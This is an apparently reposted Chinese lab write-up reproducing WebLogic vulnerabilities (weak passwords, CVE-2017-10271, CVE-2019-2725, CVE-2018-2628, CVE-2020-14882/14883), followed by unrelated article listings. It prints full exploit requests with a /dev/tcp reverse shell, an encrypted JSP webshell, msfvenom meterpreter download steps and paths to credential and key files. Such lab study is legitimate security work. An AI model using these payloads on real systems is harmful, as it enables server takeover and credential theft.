网络安全，weblogic漏洞复现

WebLogic是美国Oracle公司出品的一个Java应用服务器，是一个基于JAVAEE架构的中间件，用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。

2|0弱口令登陆部署shell文件

  • App Weblogic

  • Path weblogic/weak_password

2|1介绍

用户管理员在配置密码时将登陆口令设置为简易的弱口令，这使得攻击者可以很容易的猜解到口令并登陆进后台，通过部署木马文件，拿到shell，进行进一步的渗透

解密知识：

  • 账号权限：weblogic或root用户权限，能查看weblogic域文件
  • 密钥文件：SerializedSystemIni.dat

SerializedSystemIni.dat是解密的核心文件，一般保存在weblogic域的security目录下。比如weblogic的domain目录为：

/root/Oracle/Middleware/user_projects/domains/base_domain/

那么SerializedSystemIni.dat文件一般在

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

  • 密文文件

weblogic的密文分两类，一类是数据库连接字符串，一类是console登录用户名和密码。

数据库连接字符串一般是在config/jdbc目录下的jdbc.xml文件中:/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/tide-jdbc.xml

而console登录用户名和密码一般也是在security目录下：/root/Oracle/Middleware/user_projects/domains/base_domain/security/boot.properties

2|2复现

Weblogic版本：10.3.6(11g)

Java版本：1.6

启动本环境：

docker-compose up -d

破解密码

环境启动后，访问http://your-ip:7001/console，即为weblogic后台。

此处模拟前台存在任意文件下载漏洞，通过此破解密码，配合后台文件上传getshell

读取密钥文件SerializedSystemIni.dat：

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

读取密文文件：

<node-manager-password-encrypted>的值，即为加密后的管理员密码，不要找错了

解密工具地址

成功破解密码Oracle@123

文件上传

打包war包：

jar -cvf karsa.war ./war/*

Deployments—Install—upload your file(s)

因为我又生成了一个war目录，所以我的马的位置为：

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/karsa/4vao9u/war/war

可能是我的kali的问题冰蝎v3.0 Beta 9 无法连接shell，Beta7 成功反弹shell

3|0CVE-2017-10271

XMLDecoder反序列化漏洞

  • App Weblogic

  • CVE CVE-2017-10271

  • Path weblogic/CVE-2017-10271

3|1介绍

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

漏洞利用：通过构造构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。

WebLogic Server WLS组件对外提供webservice服务，使用XMLDecoder来解析用户传入的XML数据

3|2复现

反弹shell：

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

文件写入：

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

4|0CVE-2019-2725

wls-wsat反序列化漏洞

4|1介绍

部分版本WebLogic中默认包含的wls9_async_response包，为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。

4|2复现

访问http://192.168.211.150:7001/_async/AsyncResponseService

下载Java反序列化漏洞利用工具

存在漏洞

命令执行成功

文件上传

文件路径：C:\\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

shell地址：

http://192.168.211.152:7001/console/framework/skins/wlsconsole/images/shell.jsp

访问shell

5|0CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞

  • App Weblogic

  • CVE CVE-2018-2628

  • Path weblogic/CVE-2018-2628

5|1介绍

Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行

5|2复现

使用github工具CVE-2018-2628

python CVE-2018-2628-Getshell.py 192.168.211.128 7001 shell1.jsp

msf上线

python -m SimpleHTTPServer 1337 #搭建 HTTP server msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=3333 -f elf -o karsa.elf #生成攻击载荷 wget 192.168.211.147:1337/karsa.elf #服务端下载恶意文件 msf监听

 

python -m SimpleHTTPServer 1337 #搭建 HTTP server msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=3333 -f elf -o karsa.elf #生成攻击载荷 wget 192.168.211.147:1337/karsa.elf #服务端下载恶意文件 msf监听
 

 

6|0CVE-2020-14882/14883
 

 

WebLogic Console 权限绕过漏洞&RCE
 

  •  
    App Weblogic
     
  •  
    CVE CVE-2020-14882, CVE-2020-14883
     
  •  
    Path weblogic/CVE-2020-14882
     
 

6|1介绍
 

 

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
 

6|2复现
 

 

访问以下URL，即可未授权访问到管理后台页面：
 

/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1
 

 

Weblogic 12.2.1以上版本利用:
 

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
 

 

这里其实想直接弹回来shell，但是一直失败了，不知道为什么，使用第二个方法com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
 

 

构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上
 

 

 

<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>
 

让Weblogic加载这个XML，并执行其中的命令
 

 

 

http://192.168.211.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.211.147:1337/2.xml")
 

 

 

 












本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/88180.shtml


如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！











相关文章










广东电信和中兴开通首个50G PON万兆入企啦！








广东电信和中兴开通首个50G PON万兆入企啦！




最近广东电信和中兴在深圳市南山科技园成功开通了首个50G PON万兆入企应用&#xff0c;双方将携手打造50G PON万兆入企的示范应用样板工程和产业园区&#xff0c;看来“万兆入企&#xff0c;助力深圳打造全球数字先锋城市”的目标是指日可待了。 深圳在2022年发布了《深圳市推进…




阅读更多...

















数据库管理工具DBeaverUltimate mac中文高级功能








数据库管理工具DBeaverUltimate mac中文高级功能




DBeaver Ultimate mac是一款数据库管理工具&#xff0c;支持多种数据库&#xff0c;包括MySQL、Oracle、PostgreSQL、SQLite、Microsoft SQL Server等。它提供了一个直观的用户界面&#xff0c;使用户可以轻松地管理和查询数据库&#xff0c;包括创建和修改表、执行SQL查询、导…




阅读更多...

















面试官的几句话，差点让我挂在HTTPS上








面试官的几句话，差点让我挂在HTTPS上




♥  前  言 
作为软件测试&#xff0c;大家都知道一些常用的网络协议是我们必须要了解和掌握的&#xff0c;比如 HTTP 协议&#xff0c;HTTPS 协议就是两个使用非常广泛的协议&#xff0c;所以也是面试官问的面试的时候问的比较多的两个协议&#xff1b;而且因为这两个协议有相…




阅读更多...

















如何使用php提取文章中的关键词？PHP使用Analysis中英文分词提取关键词








如何使用php提取文章中的关键词？PHP使用Analysis中英文分词提取关键词




1、下载Analysis&#xff0c;创建test.php测试 2、引入Analysis实现中文分词 
<?php
include "./Analysis/Analysis.php";$annew \WordAnalysis\Analysis();
$content"机器学习是一门重要的技术&#xff0c;可以用于数据分析和模式识别。";
//10分词数…




阅读更多...

















Goby 漏洞发布｜Revive Adserver 广告管理系统 adxmlrpc.php 文件远程代码执行漏洞（CVE-2019-5434）








Goby 漏洞发布｜Revive Adserver 广告管理系统 adxmlrpc.php 文件远程代码执行漏洞（CVE-2019-5434）




漏洞名称&#xff1a;Revive Adserver 广告管理系统 adxmlrpc.php 文件远程代码执行漏洞&#xff08;CVE-2019-5434&#xff09; 
English Name&#xff1a; Revive Adserver adxmlrpc.php Remote Code Execution Vulnerability (CVE-2019-5434) 
CVSS core: 9.0 
影响资产数&a…




阅读更多...

















配置pytorchGPU虚拟环境-python3.7








配置pytorchGPU虚拟环境-python3.7




cuda版本的pytorch包下载地址戳这里 winR->输入cmd->输nvcc -V回车  cuda 11.0 
输入以下命令来查找 CUDA 的安装路径&#xff1a; Windows: where nvcc  输入以下命令来查找 cuDNN 的版本号&#xff1a; 
Windows: where cudnn*  cuDNN 8.0 
本机安装的是cuda 11.0&…




阅读更多...

















MySQL - 关于约束类型和作用的介绍








MySQL - 关于约束类型和作用的介绍




约束的概念&#xff1a;约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。 
约束的作用&#xff1a;用于保证数据库中数据的正确性、完整性和一致性。 
约束分类&#xff1a; 
约束类型作用关键字非空约束限制该字段的数据不能为nullnot null唯一约束保证该…




阅读更多...

















【深度学习-第3篇】使用MATLAB快速实现CNN分类（模式识别）任务，含一维、二维、三维数据演示案例








【深度学习-第3篇】使用MATLAB快速实现CNN分类（模式识别）任务，含一维、二维、三维数据演示案例




在本文中&#xff0c;我们将介绍如何使用 MATLAB 中的 Convolutional Neural Network&#xff08;CNN&#xff09;进行分类任务。我们将使用 MATLAB 的 Deep Learning Toolbox 来创建、训练和评估 CNN。 
一、一个简单的案例 
1 安装和准备 
首先&#xff0c;确保已安装 MATLAB…




阅读更多...

















基于SSM的高校图书馆个性化服务的设计与实现（有报告）。Javaee项目。








基于SSM的高校图书馆个性化服务的设计与实现（有报告）。Javaee项目。




演示视频&#xff1a; 基于SSM的高校图书馆个性化服务的设计与实现&#xff08;有报告&#xff09;。Javaee项目。 项目介绍&#xff1a; 
采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&#xff0c;通过S…




阅读更多...

















HarmonyOS 4.0 实况窗上线！支付宝实现医疗场景智能提醒








HarmonyOS 4.0 实况窗上线！支付宝实现医疗场景智能提醒




本文转载自支付宝体验科技&#xff0c;作者是蚂蚁集团客户端工程师博欢&#xff0c;介绍了支付宝如何基于 HarmonyOS 4.0 实况窗实现医疗场景履约智能提醒。 
1.话题背景 
8 月 4 日&#xff0c;华为在 HDC&#xff08;华为 2023 开发者大会&#xff09;上推出了新版本操作系统…




阅读更多...

















003：如何画出成交量的柱状图








003：如何画出成交量的柱状图




接着《002&#xff1a;如何画出收盘价的曲线图》&#xff0c;继续画成交量柱状图。 
import pandas as pd
import matplotlib.pyplot as plt# 读取CSV文件&#xff0c;指定逗号作为分隔符
data  pd.read_csv(002885.csv, sep,)# 提取成交量和日期数据
volume  data[成交量]
dat…




阅读更多...

















物联网开发自学的一些建议








物联网开发自学的一些建议




物联网开发自学的一些建议 目前为止有一年多的时间了。开发了一些小的应用。和做了一些项目。当然也放弃了一些项目。学习到新的知识&#xff0c;了解到新的器件&#xff0c;认识新的朋友。同时也获得了部分的收入。最近很多小伙伴找我&#xff0c;说想要一些物联网学习资料&am…




阅读更多...

















腾讯mini项目-【指标监控服务重构】2023-08-27








腾讯mini项目-【指标监控服务重构】2023-08-27




今日已办 
Docker Monitoring with cAdvisor, Prometheus and Grafana 
Docker Monitoring with cAdvisor, Prometheus and Grafana | by Mertcan Simsek | MediumMonitoring Docker container metrics using cAdvisor | Prometheus 
prometheus.yml 
global:scrape_interval: …




阅读更多...

















Linux基础知识 总结








Linux基础知识 总结




Linux基础知识 总结 
1、Clion的简单介绍 
CLion是以IntelliJ为基础&#xff0c;专为开发C及C所设计的跨平台IDE&#xff0c;可以在Windows、Linux及MacOS使用&#xff0c;这里我是在ubuntu 16.0.4基础上安装。2、下载 Linux版Clion的.tar.gz的压缩包 
wget https://download.j…




阅读更多...

















修炼k8s+flink+hdfs+dlink（一：安装hdfs）








修炼k8s+flink+hdfs+dlink（一：安装hdfs）




一&#xff1a;安装jdk&#xff0c;并配置环境变量。 
在对应的所有的节点上进行安装。 
mkdir /opt/app/java
cd /opt/app/java
wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24http%3A%2F%2Fwww.oracle.com%
2F; oraclelicenseaccept-securebackup…




阅读更多...

















flask_apscheduler实现定时推送飞书消息








flask_apscheduler实现定时推送飞书消息




需求场景&#xff1a; 实现一个flask服务&#xff0c;通过接口控制一个定时任务任务&#xff08;对酒店订房情况进行检查&#xff09;的开启和停止。要求定时任务完成后&#xff0c;可以通过飞书机器人推送任务完成的消息。 
展现效果&#xff1a; 启动定时任务   关闭定时任务…




阅读更多...

















ssl证书 阿里的域名，腾讯云的证书








ssl证书 阿里的域名，腾讯云的证书




目录 
1.腾讯云申请ssl免费证书 
2.去阿里云进行解析 
3.回到腾讯云 
4.nginx的配置 说明&#xff1a;阿里云的免费证书用完了&#xff08;每年可以申请20个&#xff09;&#xff0c;还有个项目要用证书&#xff0c;第三方的证书免费的都是90天的。看了下腾讯云业可以申请免费的…




阅读更多...

















Linux 基础入门








Linux 基础入门




目录 
一、计算机 
1、组成 
2、功能 
二、操作系统 
1、定义 
2、主要工作 
3、操作系统内核功能 
4、常见的操作系统 
三、Linux的组成 
四、搭建Linux学习环境 
五、安装远程连接Linux的软件 
1、安装xshell 
2、安装mobaxterm 
六、Linux操作系统学习大纲 一、计算机 
1、组…




阅读更多...

















仿网吧游戏菜单-超好用








仿网吧游戏菜单-超好用




GG软件菜单(X64)仿网吧菜单: https://url75.ctfile.com/f/1834175-943877085-2d844a?p6775 (访问密码: 6775)




阅读更多...

















Tuya MQTT 标准协议是什么？








Tuya MQTT 标准协议是什么？




TuyaLink 协议是涂鸦 IoT 开发平台面向物联网开发领域设计的一种数据交换规范&#xff0c;数据格式为 JSON&#xff0c;主要用于设备端和涂鸦 IoT 开发平台的双向通信&#xff0c;更便捷地实现了设备端和平台之间的业务数据交互。 
设备的通信方式也是多种多样的。无线通信方式…




阅读更多...


















推荐文章












最新文章


















Copyright @ 2022~2023